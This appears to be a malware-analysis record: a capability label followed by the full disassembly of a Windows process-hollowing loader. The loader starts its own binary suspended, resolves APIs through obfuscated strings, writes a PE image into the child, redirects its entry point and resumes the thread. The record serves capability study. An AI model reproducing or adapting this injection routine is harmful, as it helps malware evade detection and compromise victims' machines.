Function at 0x43fde0
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441f81
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x510
mov eax, dword [0x517500]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x48c], edx
mov edi, ecx
mov dword [ebp - 4], 0
mov eax, dword [edi + 4]
sub eax, dword [edi]
push eax
mov byte [ebp - 0x485], 0
call fcn.00430aa1
mov esi, eax
add esp, 4
mov dword [ebp - 0x49c], esi
test esi, esi
je 0x4401e3
mov ecx, dword [edi]
mov eax, dword [edi + 4]
sub eax, ecx
push eax
push ecx
push esi
call fcn.0042d660
mov eax, dword [esi + 0x3c]
add esp, 0xc
mov dword [ebp - 0x484], eax
lea edi, [eax + esi]
test edi, edi
je 0x440204
push 0x400
lea eax, [ebp - 0x420]
mov dword [ebp - 0x47c], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [edi]
cmp eax, 0x4550
jne 0x440225
push 0x44
lea eax, [ebp - 0x468]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x478], xmm0
call fcn.0042d500
add esp, 0xc
lea eax, [ebp - 0x478]
push eax
lea eax, [ebp - 0x468]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x44025f
sub esp, 0x18
mov byte [ebp - 0x485], 1
mov ecx, esp
mov dword [ebp - 0x480], esp
push str.2MKCojQ6hWYYHyD1V
call fcn.00405870
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push str.3K5niU2P6phwzULLa
call fcn.00405870
mov ecx, dword [ebp - 0x48c]
mov byte [ebp - 4], 0
call fcn.00408e50
add esp, 0x30
push 4
push 0x1000
push 4
push 0
call eax
add esp, 0x10
mov dword [ebp - 0x498], eax
test eax, eax
je 0x44029f
push eax
mov dword [eax], 0x10007
push dword [ebp - 0x474]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4402cd
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x480], esp
push str.dnx2T4TNZ1oj6x6gCCtCtd1
call fcn.00405870
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
push str.3K5niU2P6phwzULLa
call fcn.00405870
mov ecx, dword [ebp - 0x48c]
mov byte [ebp - 4], 0
call fcn.00408e50
add esp, 0x30
mov edx, eax
lea eax, [ebp - 0x47c]
push 0
push 4
push eax
mov eax, dword [ebp - 0x498]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
push dword [ebp - 0x478]
call edx
add esp, 0x14
test eax, eax
je 0x44030d
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x480], esp
push str.TJgFkdp6RqoSVSu5nbW
call fcn.00405870
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
push str.3K5niU2P6phwzULLa
call fcn.00405870
mov ecx, dword [ebp - 0x48c]
mov byte [ebp - 4], 0
call fcn.00408e50
add esp, 0x30
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0x478]
call eax
add esp, 0x14
mov dword [ebp - 0x494], eax
test eax, eax
je 0x44034d
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x480], esp
push str.3voriAv3HneBvCCF3Doqmq7kn
call fcn.00405870
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
push str.3K5niU2P6phwzULLa
call fcn.00405870
mov ecx, dword [ebp - 0x48c]
mov byte [ebp - 4], 0
call fcn.00408e50
add esp, 0x30
mov dword [ebp - 0x480], eax
push 0
push dword [edi + 0x54]
push esi
push dword [ebp - 0x494]
push dword [ebp - 0x478]
call eax
add esp, 0x14
test eax, eax
je 0x44038d
xor ecx, ecx
mov dword [ebp - 0x48c], 0
xor edx, edx
movzx eax, word [edi + 6]
mov dword [ebp - 0x490], ecx
push 0
cmp ecx, eax
jge 0x44010c
mov ecx, dword [ebp - 0x484]
lea eax, [edx + edx*4]
lea ecx, [ecx + eax*8]
push dword [ecx + esi + 0x108]
mov eax, dword [ecx + esi + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + esi + 0x104]
add eax, dword [ebp - 0x494]
push eax
push dword [ebp - 0x478]
call dword [ebp - 0x480]
add esp, 0x14
test eax, eax
je 0x4403cd
mov ecx, dword [ebp - 0x490]
inc ecx
mov dword [ebp - 0x48c], ecx
mov edx, ecx
jmp 0x4400a9
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebp - 0x498]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x478]
call dword [ebp - 0x480]
add esp, 0x14
test eax, eax
je 0x440414
mov ecx, dword [ebp - 0x498]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x494]
push ecx
mov dword [ecx + 0xb0], eax
push dword [ebp - 0x474]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x474]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call fcn.00430673
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x4401c5
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0042bc89
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.null_data
lea ecx, [ebp - 0x4ac]
call fcn.004065e0
push 0x51654c
lea eax, [ebp - 0x4ac]
push eax
call fcn.0042dbd4
push str.var_28_null_value
lea ecx, [ebp - 0x4b8]
call fcn.004065e0
push 0x51654c
lea eax, [ebp - 0x4b8]
push eax
call fcn.0042dbd4
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.var44_invalid_value:_
call fcn.00409050
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4c4]
call fcn.00409e80
add esp, 8
lea eax, [ebp - 0x4c4]
push 0x51654c
push eax
call fcn.0042dbd4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.fn53_invalid_result
call fcn.00409050
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4d0]
call fcn.00409f70
add esp, 8
lea eax, [ebp - 0x4d0]
push 0x51654c
push eax
call fcn.0042dbd4
sub esp, 8
mov ecx, esp
push str.fn67_returns_null
call fcn.00409050
lea ecx, [ebp - 0x4dc]
call fcn.0040a060
add esp, 8
lea eax, [ebp - 0x4dc]
push 0x51654c
push eax
call fcn.0042dbd4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.Cannot_get_context:_error_
call fcn.00409050
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4e8]
call fcn.00409f70
add esp, 8
lea eax, [ebp - 0x4e8]
push 0x51654c
push eax
call fcn.0042dbd4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.func84_invalid_result_
call fcn.00409050
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x4f4]
call fcn.00409f70
add esp, 8
lea eax, [ebp - 0x4f4]
push 0x51654c
push eax
call fcn.0042dbd4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.func102_invalid_result_
call fcn.00409050
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x500]
call fcn.00409f70
add esp, 8
lea eax, [ebp - 0x500]
push 0x51654c
push eax
call fcn.0042dbd4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x480], eax
mov ecx, esp
push str.func111_invalid_result_
call fcn.00409050
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x50c]
call fcn.00409f70
add esp, 8
lea eax, [ebp - 0x50c]
push 0x51654c
push eax
call fcn.0042dbd4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x484], eax
mov ecx, esp
push str._func121_invalid_result_
call fcn.00409050
lea eax, [ebp - 0x484]
push eax
lea edx, [ebp - 0x48c]
lea ecx, [ebp - 0x518]
call fcn.0040a110
add esp, 0xc
lea eax, [ebp - 0x518]
push 0x51654c
push eax
call fcn.0042dbd4
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x484], eax
mov ecx, esp
push str.func133_invalid_result_
call fcn.00409050
lea edx, [ebp - 0x484]
lea ecx, [ebp - 0x524]
call fcn.00409f70
add esp, 8
lea eax, [ebp - 0x524]
push 0x51654c
push eax
call fcn.0042dbd4
int3